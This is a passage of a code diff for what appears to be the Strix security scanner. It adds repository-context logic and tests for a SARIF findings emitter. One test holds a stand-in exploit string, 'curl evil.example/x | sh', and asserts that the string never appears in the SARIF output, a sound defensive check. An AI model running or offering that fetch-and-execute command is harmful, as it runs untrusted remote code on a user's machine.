details = target.get("details") or {} + if not isinstance(details, dict): + continue + uri = details.get("target_repo") + if not isinstance(uri, str) or not uri.strip(): + continue + + context: dict[str, Any] = {"repositoryUri": uri.strip()} + full_name = _parse_repo_full_name(uri) + if full_name: + context["repositoryFullName"] = full_name + cloned = details.get("cloned_repo_path") + if isinstance(cloned, str) and cloned.strip(): + commit, branch = _git_head(cloned.strip()) + if commit: + context["commitSha"] = commit + if branch: + context["branch"] = branch + context["ref"] = f"refs/heads/{branch}" + return context + return None + def _sync_llm_usage_record(self) -> None: self.run_record["llm_usage"] = self._build_llm_usage_record() diff --git a/tests/test_sarif.py b/tests/test_sarif.py new file mode 100644 index 0000000..849835b --- /dev/null +++ b/tests/test_sarif.py @@ -0,0 +1,244 @@ +"""Tests for the SARIF 2.1.0 emitter in strix.report.sarif.""" + +from __future__ import annotations + +import json +from typing import TYPE_CHECKING, Any + +from strix.report.sarif import write_sarif + + +if TYPE_CHECKING: + from pathlib import Path + + +def _read(run_dir: Path) -> dict[str, Any]: + doc = json.loads((run_dir / "findings.sarif").read_text(encoding="utf-8")) + assert isinstance(doc, dict) + return doc + + +def _finding(**overrides: Any) -> dict[str, Any]: + base: dict[str, Any] = { + "id": "vuln-0001", + "title": "SQL Injection in get_user", + "severity": "critical", + "cwe": "CWE-89", + "timestamp": "2026-07-02 10:00:00 UTC", + "code_locations": [{"file": "app.py", "start_line": 4}], + } + base.update(overrides) + return base + + +def test_write_sarif_basic_shape(tmp_path: Path) -> None: + write_sarif(tmp_path, [_finding()]) + doc = _read(tmp_path) + + assert doc["version"] == "2.1.0" + assert "2.1.0" in doc["$schema"] + run = doc["runs"][0] + assert run["tool"]["driver"]["name"] == "Strix" + assert len(run["results"]) == 1 + loc = run["results"][0]["locations"][0]["physicalLocation"] + assert loc["artifactLocation"]["uri"] == "app.py" + assert loc["region"]["startLine"] == 4 + + +def test_write_sarif_always_emits_for_zero_findings(tmp_path: Path) -> None: + # A clean run must still write an (empty) document so a SARIF consumer can + # auto-resolve alerts that are absent from the new submission. + out = write_sarif(tmp_path, []) + assert out.exists() + doc = _read(tmp_path) + assert doc["version"] == "2.1.0" + assert doc["runs"][0]["results"] == [] + + +def test_write_sarif_tool_version_is_reported(tmp_path: Path) -> None: + write_sarif(tmp_path, [_finding()], tool_version="9.9.9") + assert _read(tmp_path)["runs"][0]["tool"]["driver"]["version"] == "9.9.9" + + +def test_write_sarif_locationless_finding_is_anchored_not_dropped(tmp_path: Path) -> None: + # A finding with no code location must still appear (anchored to a stable + # fallback), never be silently dropped from the report. + write_sarif(tmp_path, [_finding(id="vuln-0002", code_locations=None)]) + results = _read(tmp_path)["runs"][0]["results"] + assert len(results) == 1 + uri = results[0]["locations"][0]["physicalLocation"]["artifactLocation"]["uri"] + assert uri == "SECURITY.md" + + +def test_write_sarif_fingerprint_stable_across_title_rewording(tmp_path: Path) -> None: + # The same finding at the same location with a reworded title must keep the + # same partialFingerprints, so a re-scan doesn't churn code-scanning alerts. + a = tmp_path / "a" + b = tmp_path / "b" + a.mkdir() + b.mkdir() + write_sarif(a, [_finding(title="SQL Injection in get_user")]) + write_sarif(b, [_finding(title="SQLi via string-formatted query in get_user")]) + + fp_a = _read(a)["runs"][0]["results"][0]["partialFingerprints"] + fp_b = _read(b)["runs"][0]["results"][0]["partialFingerprints"] + assert fp_a == fp_b + + +def test_write_sarif_distinct_findings_get_distinct_fingerprints(tmp_path: Path) -> None: + write_sarif( + tmp_path, + [ + _finding( + id="vuln-0001", cwe="CWE-89", code_locations=[{"file": "app.py", "start_line": 4}] + ), + _finding( + id="vuln-0002", cwe="CWE-78", code_locations=[{"file": "cmd.py", "start_line": 4}] + ), + ], + ) + results = _read(tmp_path)["runs"][0]["results"] + assert len(results) == 2 + fps = {json.dumps(r["partialFingerprints"], sort_keys=True) for r in results} + assert len(fps) == 2 + + +def test_write_sarif_never_embeds_poc_script(tmp_path: Path) -> None: + # SARIF is written for external upload; the weaponized exploit body must + # never appear in it. Only a presence flag + the description are surfaced. + # NOTE: `marker` is an inert string literal (a stand-in for an exploit + # payload) that this test asserts is ABSENT from the output — it is never + # executed, parsed, or run as code. + marker = "EXPLOIT-PAYLOAD-MARKER curl evil.example/x | sh" + write_sarif( + tmp_path, + [ + _finding( + poc_description="Send a crafted request to trigger the sink.", + poc_script_code=marker, + ) + ], + ) + raw = (tmp_path / "findings.sarif").read_text(encoding="utf-8") + assert marker not in raw + assert "EXPLOIT-PAYLOAD-MARKER" not in raw + + poc = _read(tmp_path)["runs"][0]["results"][0]["properties"]["strix"]["poc"] + assert poc["script_available"] is True + assert "script" not in poc + assert poc["description"] == "Send a crafted request to trigger the sink." + + +def test_write_sarif_builds_fixes_from_code_location_fix_pairs(tmp_path: Path) -> None: + # A code location carrying fix_before/fix_after must surface as a SARIF + # fix (artifactChange/replacement) so consumers can offer a one-click fix. + write_sarif( + tmp_path, + [ + _finding( + remediation_steps="Use a parameterized query.", + code_locations=[ + { + "file": "app.py", + "start_line": 4, + "end_line": 4, + "fix_before": 'query = "SELECT * FROM u WHERE id=" + uid', + "fix_after": 'query = "SELECT * FROM u WHERE id=%s"', + } + ], + ) + ], + ) + result = _read(tmp_path)["runs"][0]["results"][0] + fixes = result["fixes"] + assert len(fixes) == 1 + change = fixes[0]["artifactChanges"][0] + assert change["artifactLocation"]["uri"] == "app.py" + replacement = change["replacements"][0] + assert replacement["deletedRegion"]["startLine"] == 4 + assert replacement["insertedContent"]["text"] == 'query = "SELECT * FROM u WHERE id=%s"' + + +def test_write_sarif_omits_fixes_without_fix_pairs(tmp_path: Path) -> None: + write_sarif(tmp_path, [_finding()]) + assert "fixes" not in _read(tmp_path)["runs"][0]["results"][0] + + +def test_write_sarif_adds_logical_location_for_endpoint(tmp_path: Path) -> None: + # DAST findings hang off an endpoint; it must be preserved as a logical + # location so the finding keeps an addressable anchor. + write_sarif(tmp_path, [_finding(endpoint="GET /api/users/{id}")]) + locations = _read(tmp_path)["runs"][0]["results"][0]["locations"] + logical = [ + entry + for loc in locations + for entry in loc.get("logicalLocations", []) + if entry.get("kind") == "endpoint" + ] + assert logical == [{"fullyQualifiedName": "GET /api/users/{id}", "kind": "endpoint"}] + + +def test_write_sarif_synthetic_finding_falls_back_to_resource_logical_location( + tmp_path: Path, +) -> None: + # No code location and no endpoint: the target becomes a resource logical + # location so a locationless finding still carries a meaningful anchor. + write_sarif( + tmp_path, + [_finding(code_locations=None, endpoint=None, target="https://api.example.com")], + ) + result = _read(tmp_path)["runs"][0]["results"][0] + assert result["properties"]["synthetic_location"] is True + logical = [ + entry + for loc in result["locations"] + for entry in loc.get("logicalLocations", []) + if entry.get("kind") == "resource" + ] + assert logical == [{"fullyQualifiedName": "https://api.example.com", "kind": "resource"}] + + +def test_write_sarif_emits_version_control_provenance(tmp_path: Path) -> None: + write_sarif( + tmp_path, + [_finding()], + repository_context={ + "repositoryUri": "https://github.com/acme/widget", + "repositoryFullName": "acme/widget", + "commitSha": "abc123def456", + "branch": "main", + "ref": "refs/heads/main", + }, + ) + run = _read(tmp_path)["runs"][0] + assert run["automationDetails"] == {"id": "strix/acme/widget"} + provenance = run["versionControlProvenance"][0] + assert provenance == { + "repositoryUri": "https://github.com/acme/widget", + "revisionId": "abc123def456", + "branch": "main", + } + assert run["properties"]["repository"] == "acme/widget" + assert run["properties"]["commit_sha"] == "abc123def456" + assert run["properties"]["ref"] == "refs/heads/main" + + +def test_write_sarif_omits_provenance_when_no_repository_context(tmp_path: Path) -> None: + # DAST / URL scans have no VCS; provenance fields must be absent, not empty. + write_sarif(tmp_path, [_finding()]) + run = _read(tmp_path)["runs"][0] + assert "versionControlProvenance" not in run + assert "automationDetails" not in run + + +def test_write_sarif_replaces_atomically_no_partial_on_reemit(tmp_path: Path) -> None: + # A re-emit must land a complete document, never leave a stray temp file + # or a truncated target alongside it. + write_sarif(tmp_path, [_finding()]) + write_sarif(tmp_path, [_finding(), _finding(id="vuln-0002", cwe="CWE-78")]) + + # Only the final artifact remains — no leftover .tmp siblings. + leftovers = [p.name for p in tmp_path.iterdir() if p.name != "findings.sarif"] + assert leftovers == [] + # And it parses as a complete document with both findings. + assert len(_read(tmp_path)["runs"][0]["results"]) == 2 diff --git a/tests/test_state_repo_context.py b/tests/test_state_repo_context.py new file mode 100644 index 0000000..bca9e24 --- /dev/null +++ b/tests/test_state_repo_context.py @@ -0,0 +1,85 @@ +"""Tests for SARIF repository-context derivation in strix.report.state.""" + +from __future__ import annotations + +import subprocess +from typing import TYPE_CHECKING + +from strix.report.state import ReportState, _parse_repo_full_name + + +if TYPE_CHECKING: + from pathlib import Path + + +def test_parse_repo_full_name_handles_common_forms() -> None: + assert _parse_repo_full_name("https://github.com/acme/widget") == "acme/widget" + assert _parse_repo_full_name("https://github.com/acme/widget.git") == "acme/widget" + assert _parse_repo_full_name("git@github.com:acme/widget.git") == "acme/widget" + assert _parse_repo_full_name("acme/widget") == "acme/widget" + assert _parse_repo_full_name("") is None + assert _parse_repo_full_name("nothost") is None + + +def test_repository_context_none_for_non_repository_targets() -> None: + state = ReportState(run_name="t") + state.run_record["targets_info"] = [ + {"type": "web_application", "details": {"target_url": "https://example.com"}} + ] + assert state._sarif_repository_context() is None + + +def test_repository_context_uri_only_without_clone() -> None: + state = ReportState(run_name="t") + state.run_record["targets_info"] = [ + {"type": "repository", "details": {"target_repo": "https://github.com/acme/widget"}} + ] + ctx = state._sarif_repository_context() + assert ctx == { + "repositoryUri": "https://github.com/acme/widget", + "repositoryFullName": "acme/widget", + } + + +def test_repository_context_derives_commit_and_branch_from_clone(tmp_path: Path) -> None: + repo = tmp_path / "widget" + repo.mkdir() + + def _git(*args: str) -> None: + subprocess.run( # noqa: S603 + ["git", "-C", str(repo), *args], # noqa: S607 + check=True, + capture_output=True, + ) + + _git("init", "-b", "main") + _git("config", "user.email", "t@example.com") + _git("config", "user.name", "Test") + (repo / "README.md").write_text("hi", encoding="utf-8") + _git("add", "README.md") + _git("commit", "-m", "init") + + head = subprocess.run( # noqa: S603 + ["git", "-C", str(repo), "rev-parse", "HEAD"], # noqa: S607 + check=True, + capture_output=True, + text=True, + ).stdout.strip() + + state = ReportState(run_name="t") + state.run_record["targets_info"] = [ + { + "type": "repository", + "details": { + "target_repo": "https://github.com/acme/widget", + "cloned_repo_path": str(repo), + }, + } + ] + ctx = state._sarif_repository_context() + assert ctx is not None + assert ctx["repositoryUri"] == "https://github.com/acme/widget" + assert ctx["repositoryFullName"] == "acme/widget" + assert ctx["commitSha"] == head + assert ctx["branch"] == "main" + assert ctx["ref"] == "refs/heads/main"